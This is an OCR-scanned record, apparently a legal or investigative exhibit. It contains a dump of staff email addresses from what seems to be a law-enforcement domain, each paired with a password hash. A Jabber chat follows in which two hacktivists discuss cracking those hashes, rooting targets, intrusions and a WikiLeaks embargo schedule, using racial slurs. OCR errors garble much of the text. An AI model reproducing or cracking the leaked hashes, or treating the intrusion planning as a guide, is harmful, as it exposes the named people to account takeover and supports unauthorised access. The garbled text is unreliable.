michele.french@I cso.org,$H$9j4at0bt2AiUDJAT2090N2D8I ZrljL0,1266
joseph.tallarico@l cso.org,$H$900l m3Rxkesf Scx CM CHCzK bK/GO0vr.,1906
mitch.blackmon@I cso.org,$H$9/i oFC6h2pFDzel/tevnOPg2GEAf6Y/,1865
rick.harmon@I cso.org,$H$IBxUIAvmMeuVV K 6547dIJHfbOklaw8U.,667
gary.abbott@I cso.org,$H$972gK 062Y mvPIHpK 8w88P Y IHWQKRP.,1890
tim.obrien@Il cso.org,$H$9cIDiWDRIT 1ieQ5UkZD13/0Jk/24M J., 1656
cheryl.gilbert@Icso.org,$H$9V dQUFh9i ZNVY pAN6EoxfWtDgMuB2U0,1520
joshua.blanton@I cso.org, $H$OtehF2L 0QAN5dz2L NkWi7GIxjEhLY H.,1394
sydney.stephenson@l cso.org,$H$9180gH.mcSGmMs10HNNUNQD X 6da/a0l 1,2076
ray.mattiucci @l cso.org, $H$9f nnHbsgzqrrtl 6jPnl 1u/rMc5nllk.,1522

sherril .paul @l cso.org,$H$IPtHGM .xs99gM q0jr5aZAq995nSD7C/,1489
gene.perkins@l cso.org,3H$OVy9.Y Xa9CaK eBL 1Fkjta5QuEon7ml0,695
maryjo.hatley@lcso.org, $H$9p6gIp9041Y 9V WIK FMrpG5.nY 3bgeQ/,1853

col ette. henson@| cso.0rg, $H$OPRM NIfFDEK 4X snOqgA 10gj Xileb7M., 1211
courtney.santangel o@l cso.org,$H$91Bhi dRP3jo6hqudWs2eV usouOZ 27W0,2090
joseph.waters@l cso.org,$H$9.RmQFJI3u.xK 2jvqGce37vero6xnQZal, 1780
eric.wimberly@Icso.org, SH$9CQV h0V c3ekstqBn1/5zjsK 1QHkOIE., 1743
brian.hume@l cso.org,$H$90f B6NKjtSkRygpFO0I 191cFtf FfkGl 1,918
albert.lister @l cs0.0rg, $H$9POWDUhoFe2H4ANogQBj 7X pgyqV Y SOT., 1588
christopher.irby @l cso.org,$H$9sFM MV mFzDil cwGbCUcRjQ61MOdB9c1,1569
richard.dolen@l cso.org,$H$9IPxP2MntOTf8UEYyIXeWnGk8U7L pvJe/,1910
robert.holcomb@Il cs0.0rg,$H$IO57TM TNY c0j 3wvy5wi5WdVrK SRggQ/,623
sandi.chessher @l cso.org,$H$9ewBf6PBL 76m6mKvjr.EK HbgAsL 1pS0,950
lori.basting@l cso.org,$H$9bhJa6EXRHCEXfiNFM QfeRdaR0cl 10/,1863
kristy.beebe@I cso.0rg,$H$9aHWOLX ZWUX Y Xy Ri Pqsu2vl p3e0K Sx0,1667
david.hanks@I cso.org,$H$92S7BRCI Sbh8X x1k..Wgf2kZqDiO5WY 0,1654
adam.dufresne@l cso.org,$H$9sx| zetiaf ORt TBxrG62vZf1frr8el., 1139
brian.forst@Icso.org,$H$9cil 4V h6lwL vxCyJPCF/Y fs710.WV M.,1309
matthew.bowden@l cso.org,$H$9ei 06yHBjRZuxrxq/'Y dNCVvnQUX BZa0,1100
brian.stonebraker @I cso.org,$H$AHUGOV | ¢//PIX6L 5GoUnl | Z02CIM Pp1,846
richard.humphrey @I cso.org, $H$9W5k900K 01/aCQOCK 69xOK HsU/CTCi/,1247
brad.heidt @l cso.org,$H$9e2CagY gN3SHzWoY A40n.cNhZdGzS1,1781
chris.loyko@I cso.org,$H$9cCFdPI pL RjuoqwzCsY OpVbkYt8BIg0,1202
john.waldrop@l cso.org,$H$9DaY JwhtV fgOEWIK DI9GM SkUJBWDxo..,1886
robert.tracy @l cso.org,$H$9jnuD1/E03Qi9ZW3rlilnGuhZux.D2.,52
deanna.cameron@l cso.org,$H$9A zY 90Q6d/ TM Ng/0/WSpsQMKrB/tL c.,1140
nancy.harvey @Il cso.org,$H$9j QO07uFeNGGp4bTyQVm76cDgOuWGc.,1625
steve.keller@lcso.org,$H$9Gz. TIrEGO8PCCL kxe4C5ks2efHwp0,1311
walter.wolf @Il cso.org,$H$9nw5MUUdDNQqY Zohhyppoddgolb48c.0,1451
cheryl.wilson@I cso.org,$H$981d4M QW JIpzzPGIMTiMbORbCcL GmtF0,780
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karen.lovel ace@l cso.org, SHSIT dkx T} 8i 90A gZ516na9mb6zouoCC9.,296
richard.barry @l cso.org,$H$9B.pANrjQ1R5sIV rlv3Pn6GkGcTAEQO,630
bruce.gesinski @l cso.org,$H$90evA I85RFsI3aX /iv8r5zZWAMNAwiql,1844
shawn.vance@| cso.org, $H$VHW8bgZ DM 01Jkz/WTzv7TEUOH|GVY .,1493
abraham.del eon@l cso.org,$H$98gm9V bEvI.3X UmkceV c27e4k Wi/xC/,1856
john.burrow@Icso.org,$H$ITuQZahONZ.5L AdAkFnujDdqY 1f3jN0,1458
denise.hill @I cso.org,$H$9eFNepL 2tRCp.fyRcrNZGu5C82Y Mht0,334
glen.hall @Il cso.org,$H$9b4mJ 2doc4DvoEElI PWbW9k QI SC5vm/,430
tyrone.telemaco@l cso.org, $H$9uV AK opar. CHvr60gD07kOUgP03X 28/,1962
mariamontalvo@lcso.org,$H$IGBAVjY bwCiKwZDY yk1IK D9ZVVeG9.,1963
jason.helton@I cso.org,$H$95/tsd./ZdPzBOglj Diucl CqgcS/O0HO0,1519
lisa.vachon@lcso.org,$H$90SvZEc.b.4gvx UHOQRck6ZhJO03K P1,729

paul a.berger @I cso.0rg, $H$ONY v793C. 7rbp68j hpdU364vOY O4ET71,262
ronald.oliver @l cso.org, $H$IFwsM Am8gE3wJIN SxDx6X CkqH5uk9h00,1914
mike.myers@l cso.org,$H$9t20Y 00x5/a75H1hh3uy6Wal OvDQGg1,565
ryan.wiles@lcso.org,$H$9V 1SW7zM.pCaX SSaB1K Y P7zMWJFhr6.,1739
susan.|opes@I cso.0rg, $H$9ZOR X A9X3IrSWFHsZgL L PK Utqt7G.,1307
joan.blaszczynski @I cso.org,$H$9/9dzK .DK sh7yqiO28v7NLtzpoWmBV/,1584
jay.carver @Il cso.org,$H$96U9QURCTOY Imk258B CuoSOHgSFO)t0,1484
gary.miller@Icso.org,$H$9Y fEOvdHNU/3ZHIEorOk X 4X sK yM Mu90,1805
chris.huskey @I cso.org, $H$9d2j bgpxx3161x0P0Z Jgz4vdY SrOrB.,899
joseph.hink@Icso.org,$H$HFMhj97SFv T OsxeKjRo8K bdDnSxu2h.,1828
raymond.garcia@lcso.org,$H$9Y ¢/1RPVrbORcqW4L 8pKImMal QWGnz0,1589
jesse.ogl esby @l cs0.0rg, $H$9S8S407unK Rp.COJNBQiiBaHOIV12.,1974
matthew.white@I cso.org,$H$9j cEvwhBL dc8JT 8i btgEM Rpquuoiif0,2096
dana.guscott @I cso.org,$H$dM M42PeR5igj 1Y f.qyY CWPDx1Ney/,1430
michele.richards@l cso.org,$H$90GI 7WIvIARz76W| Tv 1riiFzSal D39/,160
linda.harville@I cso.org,$H$9I9V Ow/110urkN1V CQHi 78eA GdOwOI., 728
mark.stauffer @l cso.org,$H$93Y D2sz4qtHaDhgFCE6DEzvnAQBZY oh1,263
zack.marable@l cso.org, $H$IWi K 1laX KRtJCPITBuobUfxvcY kgn3.,1976
mike.adams@l cso.org,$H$9Y 9oL /rAzUoDwaM rSUfy6uJuEl 3C.30,674
maureen.hatcher @I cso.org,$H$94xUX SNnwkPI K EdDI/L .b/FxIV snal,135
elaine.barnes@l cso.org,$H$I9DUPSbItdV 5ti JBX HQBR8vgaR/P1 31,1260
abert.donatone@l cso.org,$H$IgV I AKbwbgZ JA2RID3WAOpNwRLaul Y .,1555
stephani e.rodowsky @I cso.org, $H$90I rbzcQHkwGul 0Z 8ct5f9tX ncm7p0,1328
daniel.lynch@I cso.org,$H$96CZHMtOT L u7z06/IvK SK gf CP6A SCi1,1862
beau.carlton@I cso.org,$H$IX N6BY d2R7k28jeQ8.X O0MObBgnr23/,1997
kim.pratt@Icso.org,$H$92418X dI SBK3TLdOI1 1V TBY CpmU1Fx1,1423
cathy.griggs@I cso.org,$H$IT LFhQBsItmAwWX 2sQrpiAlt4.ChOur0,532
danae.stewart@I cso.org, $H$9GA 8cErF1gu67DpZiBfeGNsOZkD4aP/,1843
jason.roundtree@I cso.org,$H$910zR5P) | CRFT.3kb.KkB2K PjeBPL 21,905
billy.walls@I cso.org, $H$9r3V uPrp.cX/dWIzY 2uGrfY HigwsUw1,1338
cliff.matthews@l cso.org,$H$OPctsX ZItSGU10g8TLH3NyL Vy41Yrq.,427
jessicamcgregor @l cso.org, $H$OEL Y kZACV1918r0L gZdnM PON.eX SPi/,1652
mike.mckibben@I cso.org, $H$IqHGZEA 1TDX.i 7DjEp4JgM y32PY w.,82
jody.matzman@l cso.org,$H$9tI 2pwOdK WG3fvL gL 7cowcO2QBtTKr0,1995
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len.wilkerson@I cso.org,$H$92ugs0Y UG zfRebfRLamJJbuOL DV x/1,789
christopher.pelton@I cso.org,$H$96nM V Skje.0SfM yxal2tuJEyk1.GiX.,1973
andrea.mckane@l| cso.org,$H$9y4/F2t1K FvQL/wr.fSNJycni J6SIM0,1177
todd.|uce@l cso.org, $H$Y2Qw/RIOzvuoGqOyv2Vdi3XiY bywl 1,246
brian.sadowski @I cso.0rg,$H$I02TXKISNTNLYyGgTNwjZnnuRV hiLk1,2092
marnee.batchel or @l ¢so.org,$H$920n5Bg9A cCxUK. X OPLKZTdEV Qyonw1,1742
tim.green@l cso.org, $H$IDssV 1dzx19dzL cGV PzV GG5/zwp..k0,819
daniel.moral es@l cso.org, $H$OWUCEL Zxg4DrO89K obK H..Kw8AIKEz.,1312
johnny.webb@l cso.org,$H$9boK Y QkJEHbL1V V Ek3uR8e0CVF9enjS0,1181
jaime.andujar @I cso.org,$H$IrO18QSZ90dNY jsf 1cRD94e1IWhN4J/,1623
christopher.wade@l cso.org,$H$9A H/FFyB T8BP.OU8E9Uh1UGWg2X T8D/,1567
kathy.prigge@Icso.org,$H$9Pg0O0EpPZnkedzCK Sg57aK UU4lySL S,1272
james.snyder @I cso.org, $H$IM/zj X 4L a3QIOCZK . LyUou3fN67M3v1,1857
erica.ortiz-rodriguez@l cso.org,$H$OLIVCIAfUgILcMBCcOB7B4ygJBV 7jh.,1239
kimberley.holtzclaw @l cso.org,$H$95i Q1cw.AnM DHreOM AHaFpD5ILsSUA0,1806
joshua.creech@l cso.org,$H$9RIV 1j8RUT mh6cCeWkOrpm6ACA/j Xp.,1360
terry.allen@l cso.org,$H$9zn2ZwurK hJA hi2dN K ol d8Roysbx TO/,292
dena.clayton@l cso.org,$H$9fuwl GgK 8291 K QSzib./wUN8Jp.H041,1744
tedra.mccloud@l cso.org,$H$IEa2WnslsZ WREFHi 8v 751 4rY 9gcRI4.,1487
henry.taylor @Il cso.org,$H$9D0d4pEFsaZ WK vQ24M 8PeGY vv03Sjul,1296
nancy.day @I cso.org,$H$9nY ArogNonNCvnWZvnwZdo93z3X.07/,1503

angel o.reyes@I cso.org,$H$IUpCFwNkCjzwjgAR1gfF AKESAPrOs700,1616
clayton.gentry@l cso.org,$H$90B/rdBmkzirhpb.L vtzj 3hJH62uzb/,2072
scott.owens@l cso.org,$H$IbRHIONJIFIOWnF2aj zEOoM o5mss Hf ., 1935
|ee.cheshire@I cso.org,$H$IWH35fsQCI9Y UB/K ohwFykEIEUMIK..,567
wanda.fiel ds@I cso.org, $H$SIUEM Q19z67kc72.ccrOudlGX1IDHMNC., 354
michel e.dolan@I cso.org, $HPIXEK O6x EwvV Q6pI M 3hqUOXUI7SX 070,1135
tamara.dal e@l cso.org,$H$9ZeY 106M RFn5LkempnL zL IWQWRvoaE., 1335
alice.waters@Il cso.org,$H$902Fg86wJIL WD GhddINOCPi AzURbK Py0,700

daniel .unsworth@l cso.org,$H$9bbA MK IX ILchY AeJksT 05i5z2WV Tw4Q/,1534
harold.howell @I cso.org,$H$9Y .0K3uToY SrIrOwUJIdOLicTjrmUY T0,1525
art.neubaur @Il cso.org,$H$995CK GY IBLjz3ReL AOBemolbpOLKEB1,958
debbie.brunk @l cso.org,$H$9z.qDsM L 1Ucrs6G/rBM eo76QzEa0090,926
david.malloy@lcso.org,$H$9/8Ri58Q8)Iw2.8kbRgaX bbh4bWaja/,1486
chris.delibro@l cso.org,$H$OW/UdwIDZs5X DT/ 7WgK DHAEGyI3ve/,552
jimmy.mock @Il cso.org,$H$9B GfayOkR3dtd5)62TmV WpEcbFBOni/,20
thomas.thompson@I cso.org, $H$IH1i 8HmML Lh4hi ISXKE3AiudWbPtPL 40,1468
jerry.lujan@l cso.org,$H$9.Gf Rbi 2RbbeG5/7H8B TwIv9RoFW7w/,381
andrew.patten@l cso.0rg,$H$ID D 7Skeggk S88kgsCt29V 9vDzWBX ZY /,2044
charles.thompson@I cso.org,$H$9q.qF7BgnoQY jadkE.j309g3X ciygK 0,105
james.wade@l cso.org,$H$9eUpEgD8p.rAkyFxeiLr/eRcdFR68d0,820
jamie.getford@l cso.org,$H$Of 6kO5FwwCk T U744az5sEi Phtt\W2mO0,1196

paul .pawlikowski @I cso.org,$H$9ImM 6 TmmJIPLLV 1079/TnM 2FgPV DmB2W0,1808
michael .semento@l| cso.org,$H$OhK 5nbPdW8DHcwG5/0bEj//rwURCZi1,1611
scott.stone@l cso.org, $HEOIMWLhHL 1IEpAANmUrou6DFUUZV nZ55Q1,1500
antoni0s.|oupos@I cso.0rg, $H$IGT 7dGM pGV KV 71Holx5WB /X 1thTO0,1107
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matthew.lai os@I cso.org,$H$9gevSB Ui F20NN6r2P.UUb.OugL tGJU.,1310
michael .andrew @l cso.org,$H$9BI9pJuvBybi FRILpGIFtC5msPNN8o/,1651
jason.matthews@I cso.org,$H$96. FhU Fpytby Qg8RpQcanSGAEEHTSEO,931
george.wayland@l cso.org,$H$9j Hsigj pfVICgzA .t SyfRP1X 2mtnX G1,621
raymond.ramos@l cso.org,$H$901.gM UA za3i X m1Pt/QnGIRKCgiZZs1,1565
andy.clayton@I cso.org, $H$9wab59xhgQBcahj | 352wL J38FMEHFN.,1609

bradford.bowlin@l cso.org,$H$9G06DaGRIpL pDZv62Bn8UHFRbKNL5G1,1389

sharon.kelligan@I cso.org,$H$9cawdPA Z 7wFbX xi C2W2p44i07Rzh1D/,601
randy.hon@l cso.org, $H$UL zbl Azj CaF3sW.Ecx5Q24U 1ahJM 00,526
gary.borders@I cso.org,$H$IpD/tM PAdfnoRGixxAjftOCNyRQaPw.,1
christie.mysinger @l cso.org,$H$9OR6PDzA 0BNvt70gDctm8tOTHZzQ05G.,190
richard.jimenez@l cso.org,$H$9dRjdeulGyv.kiM OA9WK Cx.5xPOt./.,1996
darryl.pitcher @l cso.org,$H$IGU4V M bizvm.b1lIHSaO5gMwTX EvOau0,1437
robert.bedgood@l cso.org, $H$IPhhCOcgsmEKOIN 17pd TNztgtd4cPY /,907
kelly.wadkins@l cso.org,$H$9a27cTcVkizA . HROQB5XCMVILHBI67/,874
schannah.powel | @I cso.org,$H$IX CPd3cnujnK 1x9Qnsm.kDagCPUUMK 0,2038
seth.nestleroad @l cso.org,$H$90aY k2L vDEOsh.zjxys5ftSHKQQAX C1,1911
mike.serviss@l cso.org,$H$9I3XVm305e7.y9E18Rjm.GY .N0Ozd3c/,1101
sheena.henriques@l cso.org,$H$95A . 154maqT T2Avh/L4qg3zznPGIt40,1986
jason.kerley@Ilcso.org,$H$9I SlI5yHY JHYV cLE/PgtMaBlgRBIsk1,1132
raymond.carris@l cso.org,$H$9aX 3kIVNqdxSY rZ3bY GeyQx4gL 1dN..,1867
george.gates@I cso.org,$H$9 TeL vHBOjnHIPM B 3bvekF4aV Y ePhg/,81
greg.holtzclaw @l cso.org,$H$93.Hm8oobOEUaL V PogZd79mHbBelDel,858
ron.patton@I cso.org,$H$INHkcU9olatm3F79h.cn/m4eK pbOV G.,115
pablo.rivera@l cso.org,$H$IGNUHzgX sSAKIv5CIwzZEvB6WK KyMic0,1103
earl .ray@l cso.org,$H$OENHCDS52WILNTY z4JLVW4AmzX 8Bz3f0/,694
serena.chilton@I cso.org, $H$AJY 7sY edtdfbIPNGA JdWIY eoEY ow8m.,295
kelly.cromwell @I cso.org,$H$OHA 9P59060kK 93Qde4O7/ClvXIcs970,248
peyton.grinnell @l cso.org, $H$907estQfy 1rOg95mfm7vmO1ki X Lm3W1,547
ken.fratto@l cso.org, $H$ICXxM 7xRzfkoH3tvuGZ JEL trO3s7TQI0,1524
stacie.s eeseman@l cso.org, $H$9I 5rsAuvjyFIphCpGHO7HT 7CL80ONpc/,1544
steve.moss@I cso.org,$H$% ZU Sv5leyhxRmvnOBRUK Q4GZ4X WY W1,103
david.snyder @I cso.org,$H$IxgSL bwyQODVG1bvEF.Xz4613Vw(lt1,2014
lindsay.vanbuskirk @l cso.org,$H$99.NKfV Uhf.siIN602Ru.l|jBOvQt/cA/,1553
tara.pauli @l cso.org, $H$9 En2mvgfljUumsbFFM A J7JF2mH901,2100
tracy.sharp@I cso.org,$H$9uY a8cHsUmML mY NaTV pnJ1lt33z1iUd0,225
steve.stevenson@l cso.org, $H$94rg57mSZ.WgNDY ITHRZsIpM g XIGU/,202
paul .venaziano@l cso.org,$H$I3NChi L nwA FJ4zCmY p6pt9aCbE/wzB1,1233
myra.merritt@Icso.org,$H$IUT 20dc8l ASWDKrWY dn3Bgs3LT1gB3.,152
richard.sylvester @l cso.org,$H$9sTvwX 1b6bz476 QEreQUUYV QnsBxm3j0,1498
devin.godwin@l cso.org,$H$9zI 6kV duDwj.WdlalnB6mJIL 7D5v2Dg/,566

jesse.williams@l cso.org, $H$F X wcevGROWQbpNSMZSSNGGpdkTzUA/,1346

fawn.yoho@l cso.org,$H$9j ShNuSBosxGa8gWorEZwL QN3W.val0,1813
cynthia.baltunis@lcso.org,$H$OtY qY Y xaikebv9j PiLaCrZmuU96Qa.B/,1405
joshua.crotty @I cso.org,$H$90; Wj Y xS5Dz3.G6M 81k7AyaUTolQVv1,1647
jim.ferguson@Il cso.0rg,$H$90Y M Estl 4zr6bkqCnPi4L SnuhsM02R0,2117
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karl.johnson@I cso.org,$H$966USM/oM Fv/K 7dbOB6zflvp2Ap8ih., 1412
robert.tretter @Il cso.org, $H$INScU3SEUIeNOwdX TnW6EL 3AVKL3UFg1,448
robert.mosley @Il cso.org, $H$kOhxf TFL 72Cn1yE3] ppj S1y2j GbuP1,1687
glen.waterman@l cso.org,$H$90xg2CLI/SWIHT1uFY ZNY IeNHhJ.tZ/,92

billigjo.bates-perkins@l cso.org,$HFY M/G5ZuyV hkxQbM B4eo5K 63xPACA X 0,494

wendell.perry@l cso.org,$H$9vIopNQUZUTWIB4X 6GFQxD3ED] Ol c40,194
darrell.thomas@l cso.org,$H$IDwfi AoO2gCUCIMWBGr/905M z0Gog.,928
chris.ellis@Icso.org,$H$96823zY | SBI2BcDEBY z7kyg/yzZNDL 10,882
david.triplett@l cso.org, $H$IR6L QoPX 39T/b78vdHY JOcLxQ/vkmV/,2126
tim.mccai g@I cso.org, $H$9ipeBbz68al vsBvrlj 1L baX JRHITZ91,1523
matthew.al bandor @I cso.org,$H$9hoM zEj RQbrx67aH X mmHiR9g5Z¢Z.0,1650
marcie.poitevent@I cso.org,$H$97gb29P77rY MfsBck9zGZkkSgJawM 1,873
eric.bateman@Il cso.org, $H$9Jgl MK yO.ZuJU5bscP2zybX 05iiKjE1,1909
bryan.lawrence@I cso.org,$H$IXhDRgt9cRrgl GPw/IgagUWS5IlyrOCe/,1749
jason.dunlap@I! cso.org,$H$IC2NV zGDOCvZIgMIZK1hSu0S/j Shjw.,1481
carlton.beck @I cso.org, $H$IQ5hES6¢leK p4R1i52eszNoNclpNV ., 1367
gene.cushing@I cso.0rg,$H$IxpxKM GgChbX/n.SFOsAqQwL C8vRPNn0,725
eon.chapman@l cso.org, $H$VVTAFACTRMHW99eQeN.6FTjCV c6Gn.,1190
chad.harmon@I cso.org,$H$IDZ FgkfxI QD OkMs5nr4L mL bgzL cr80,561
jack.holder @l cso.org, $H$OIMVKK WAV rszl 6RBGOf.Y 7dCaSmugSY/,219
bill.leware@l cso.org,$H$9u.F1TzXt3aC.LOHIIDINK gSt.h/e8.,583
robert.wolfenden@l cso.org,$H$9.EQKi/25/QuDtfK Zd6JT pwCD6M/IZ/,1816
katie.roden@I cso.org,$H$9ipyczNoY f0.Z2Jsq92k2G7HNnzMrZ2s.,1823
brigitte.lotze@l cso.org,$H$OVBk2XVHCT TctaT Y G6v/1Qj/vyy6j/,1761
curtis.burnside@I cso.org,$H$96D DgJGwyPvtaH.eKjoaj | Dmel F/21.,2110
cheryl.lamb@Il cso.org,$H$OD 1knBLWQR;I11sQWYF5RK.1P59d9T 1,1624
charles.warren@I cso.org,$H$9acPMaHuUkCTveAWhcWM sk hwV 1qlwOP/,2039
gary.booker @l cso.org, $H$OWNaB L E83bPtRgPI 3gd1Egxzc2g8ha0,2019
rodney.blevins@I cso.org,$H$9J3j d010hzImHN.PTbinFT5qHAN89p/,738
paula.bourell @l cso.org, $H$9apM | GBk1D5wqPcf5pWw3v1di Dx/K 40,810
lane.roddenberry @I cso.org,$H$9IBEL jb2w7mHj9nBXyMVEH 1L .gR05x0,843
kimberly.pelfrey@I cso.org,$H$9b30el LkzV DDeG1pDRUINVM5wWQP12HZ 11,1660
vincent.rodriguez@I cso.org,$H$98pM MuJX 6ynwSL AiOhzZp2cSMB17x80,1174
barbara.semento@I cso.org,$H$97V I ck7thkQY Aa7fsDE.pi6zFCc/im/,1490
joshua.houke@l cso.org,$H$HI 49rmL p3eZ9khK Of 3xY EGHDnpVWI/,1706
(6:29:46 PM) leondavidson@jabber .or g/jabber.org: yup. sending it to my ppl
(6:29:53 PM) leondavidson@j abber .or g/jabber.org: who is this nerdlife shit?
(6:31:13 PM) yohoho@j abber .ccc.de: that is god

(6:33:12 PM) leondavidson@jabber .or g/jabber.org: got you

(6:33:22 PM) leondavidson@j abber .or g/jabber.org: I'll seeif these nigs can crack it

(6:33:25 PM) leondavidson@jabber .or g/jabber.org: did you root that shit yet?
(6:33:29 PM) leondavidson@jabber .or g/jabber.org: you're slacking son :x LOL
(6:33:42 PM) yohoho@j abber .ccc.de: | amw orking with god on some other targets
(6:33:46 PM) yohoho@j abber .ccc.de: yo we need help man

(6:33:51 PM) yohoho@j abber .ccc.de: who elseis doing intrusion?

(6:33:51 PM) yohoho@j abber .ccc.de: you?
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(6:34:51 PM) leondavidson@jabber .or g/jabber.or g:

organizing. seems my role changed a bit

(6:34:57 PM) leondavidson@j abber .or g/jabber.org:

day

im doing mad shit myself mainly

but you niggas ain't alone at the end of the

(6:35:07 PM) yohoho@j abber .ccc.de: well it feels like it sometimes

(6:37:41 PM) leondavidson@j abber .or g/jabber.org:
(6:37:50 PM) leondavidson@j abber .or g/jabber.org:

this nigga from wikil eaks

don't worry broham we'll cuddle soon <3
I'm over here having alittle discussion with

(6:38:40 PM) yohoho@j abber .ccc.de: yes| told him I am more than capabl e of observing and
respecting whatever strict parameters he has set up, but there is no reason why we haven't been

included in this process since the beginning

(6:39:31 PM) leondavidson@jabber .or g/jabber.org:

on this

(6:39:39 PM) leondavidson@jabber .or g/jabber.org:

these emails

he claims to have over 100 people working

yet claims theres nothing interesting in

(6:39:43 PM) yohoho@j abber .ccc.de: yo he told me 50, then earlier he said 2 media groups

(6:39:47 PM) yohoho@j abber .ccc.de: err

(6:39:49 PM) yohoho@j abber .ccc.de: 27 media groups
(6:39:57 PM) yohoho@j abber .ccc.de: it is sort of suspicious

(6:39:59 PM) yohoho@j abber .ccc.de: like wtf

(6:42:00 PM) leondavidson@j abber .or g/jabber.org:
(6:42:01 PM) leondavidson@jabber .or g/jabber.org:
(6:42:07 PM) leondavidson@j abber .or g/jabber.org:
(7:04:15 PM) leondavidson@jabber .or g/jabber.org:
(7:04:20 PM) leondavidson@jabber .or g/jabber.or g:
(7:04:24 PM) leondavidson@jabber .or g/jabber.or g:
(7:04:30 PM) leondavidson@jabber .or g/jabber.or g:

(7:04:30 PM) yohoho@j abber .ccc.de: which, JA?

(7:04:33 PM) leondavidson@jabber .or g/jabber.or g:
(7:04:36 PM) leondavidson@jabber .or g/jabber.or g:

(7:04:42 PM) yohoho@j abber .ccc.de: let's seeit

(7:04:42 PM) leondavidson@jabber .or g/jabber.org:
(7:04:50 PM) leondavidson@jabber .or g/jabber.org:
(7:04:54 PM) leondavidson@jabber .or g/jabber.or g:

(7:05:02 PM) yohoho@j abber .ccc.de: lol funding?

(7:05:04 PM) leondavidson@jabber .or g/jabber.org:

of the year

http://www.damasreef-elec.gov.sy/

nice

good to see other niggas getting involved
nice ok so these guys are forreal

they just sent me a bunch of shit
regarding the release

its svhedule and dl that

ja
the fake ja or whatever
I'll send your way shortly

but | told him we needed fundin eventually
we can't do thisforever for free

he said they are coining an award for source

(7:05:08 PM) yohoho@j abber .ccc.de: | mean they are bankrolled for sure

(7:05:23 PM) leondavidson@j abber .or g/jabber.org:

with an award

(7:05:26 PM) leondavidson@jabber .or g/jabber.org:

and they'll award the best source of the year

and $150k

(7:06:11 PM) yohoho@j abber .ccc.de: well no lie Im broke but hwo the hell will any of that

money get to any of us

(7:06:23 PM) leondavidson@jabber .or g/jabber.org: 1'm broke as fuck too. but thats not the point
(7:06:24 PM) yohoho@j abber .ccc.de: i'm less interested about money than delivering the product
(7:06:29 PM) leondavidson@jabber .or g/jabber.org: | brought it up to see where their minds are
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at

(7:06:34 PM) leondavidson@j abber .or g/jabber .or g: and wtf they're doing with their money
(7:06:43 PM) leondavidson@jabber .or g/jabber.or g: you gotta understand my niggal play
mindgames with al these niggas

(7:06:48 PM) leondavidson@j abber .or g/jabber.or g: and see what they respond to me with
(7:06:50 PM) yohoho@j abber .ccc.de: ok

(7:06:59 PM) leondavidson@jabber .org/jabber.org: so | find it interesting he brought up this
award for sources shit they're doing

(7:07:03 PM) yohoho@j abber .ccc.de: well whatever you tell them to get them to move forward
and release

(7:07:04 PM) yohoho@j abber .ccc.de: because

(7:07:13 PM) yohoho@j abber .ccc.de: | told them they have two weeks

(7:07:18 PM) yohoho@j abber .ccc.de: if they fail to deliver, we will have to on our own

(7:07:39 PM) leondavidson@jabber .or g/jabber.or g: looks like they'll be releasing by feb 27th by
the looks of the schedule

(7:08:19 PM) leondavidson@jabber .or g/jabber.org: (7:02:01 PM)

ardeditor @] abber.ccc.de: Partner Pre-Rel ease Package

1. Embargo Timetable
This has just been updated to make it simpler for everyone. Please read this carefully
and let me know of any questions.

2. Instructions on Scheduling Emails for Release

As per the MOU you signed you will need to schedule the emails you wish to write
about into our system so they can be published on our site to coincide with your story.
These are the instructions to do this — please read them carefully and let me know of
any questions.

3. Ingtructions for Publication Date
Some basic instructions regarding the rel ease — please read this as soon as possible
and let us know of any questions.

4.PlanBand C
Contingency plansin case the exclusivity of thisdatais breached.

5. Banking Blockade Information

Notes on the financia blockade against WikiLeaks, including new information that is
not yet in the public domain, for your story you must write as part of your MOU to be
published in your first publication of Rock Guitar.

6. a-d Graphic Adverts

Four different sizes of WikiL eaks graphical adverts. One of which must be put along
side each of your storiesin this publication, as per the MOU. Each of these adverts
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should link to our site (www.wikileaks.org/donate) if clicked on. The different sizes
of graphics we have are:

a) Banner (728 x 90 px)

b) Small skyscraper (vertical) (120 x 600 px)

c) half page (300 x 600 px)

d) mpu (300 x 250 px)

7. Guide for Searching the Data of Project Rock Guitar
These are some basic tips on how to search the data. Do let us know of any additions,
comments or improvements.

(7:03:04 PM) ar deditor @jabber.ccc.de: 1. Embargo Timetable

Due to various partners publishing schedules and deadlines, elections around the
world and legal matters WikiL eaks and Julian are involved in we have had to create
this embargo timetable. The timetable MUST be strictly adhered to. A breach of this
timetable is a breaking of the MOU and is enough to be struck off the WikiL eaks
partner list. A break of thistimetable will also anger other partners who are sticking to
this timetable — our partners from around the world currently are: McClatchy, ARD,
L'Espresso/La Repubblica, LaNacion, Plaza Publica, La Jornada, Bivol, Owni, Ta
Nea, Publico.es, Russian Reporter, Al Masry — Al Youm, Al Akhbar, Nawaat, Taraf,
Pagina 12, IDL Reporteros, CIPER and Malaysia Today, with more joining over the
next few days. These partnerships work through mutual trust, respect, and agreements,
do not break them.

The dates listed are START dates for each subject. Y ou may write about them any
time after thisdate, BUT NOT BEFORE.

Eg Y ou can do a story about Italy on Friday 2nd March or Saturday 3rd, or later. BUT
NOT BEFORE Friday 2nd March.

If astory has substantial reference to two embargoed topics you may publish the story
on, or after, the date of thefirst topic.

Egif astory is about Turkey and Russia equally you can publish it on the 27th of Feb.
However, if astory ismainly about India, but makes a small reference to the United
States (which has a go date of 27th Feb) you cannot publish it until 8th March — the
embargo date for India.

The Embargo Timetable:

ALL TIMES ARE LONDON TIME (GMT)

105227


SCo
Sticky Note
None set by SCo

SCo
Sticky Note
MigrationNone set by SCo

SCo
Sticky Note
Unmarked set by SCo


No mention of the existence of Rock Guitar or stories derived from it before the 27th

Feb 00:01.

Monday 27th Feb 00:01 — Rock Guitar embargo ends in general — so you may refer to
the project and write about your involvement in it.

If asubject isNOT LISTED beow then it CAN be written about from the 27th Feb

00:01 onwards.

1. Monday 27th Feb 00:01
United States

China

Latin America

Europe (except Italy)

Russia and former Soviet Union

Stratfor

Dow Chemical / Union Carbide - Bhopal

Shell
Halliburton

[and any country or organization not mentioned el sewhere below]

2. Wednesday 29th Feb 00:01
WikiL eaks

Assange

Occupy

Anonymous

3. Friday 2nd March 09:00
Italy

4. Tuesday 6th March 00:01
Arab countries

|srael

Iran

Turkey

6. Thursday 8th March 00:01
Pakistan

India

Afghanistan

Kashmir
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Sri Lanka
Nepal

(7:03:29 PM) ar deditor @jabber .ccc.de: 2. Instructions on Scheduling Emails for
Release

As per the MOU, you are required to schedule the Rock Guitar emails that correspond
to your storiesfor release on the WikiL eaks website at the same time as the story that
refers to them appearsin any medium in your organisation. Thisis necessary for
coordination so you may claim WikiL eaksis releasing the email, and so the public
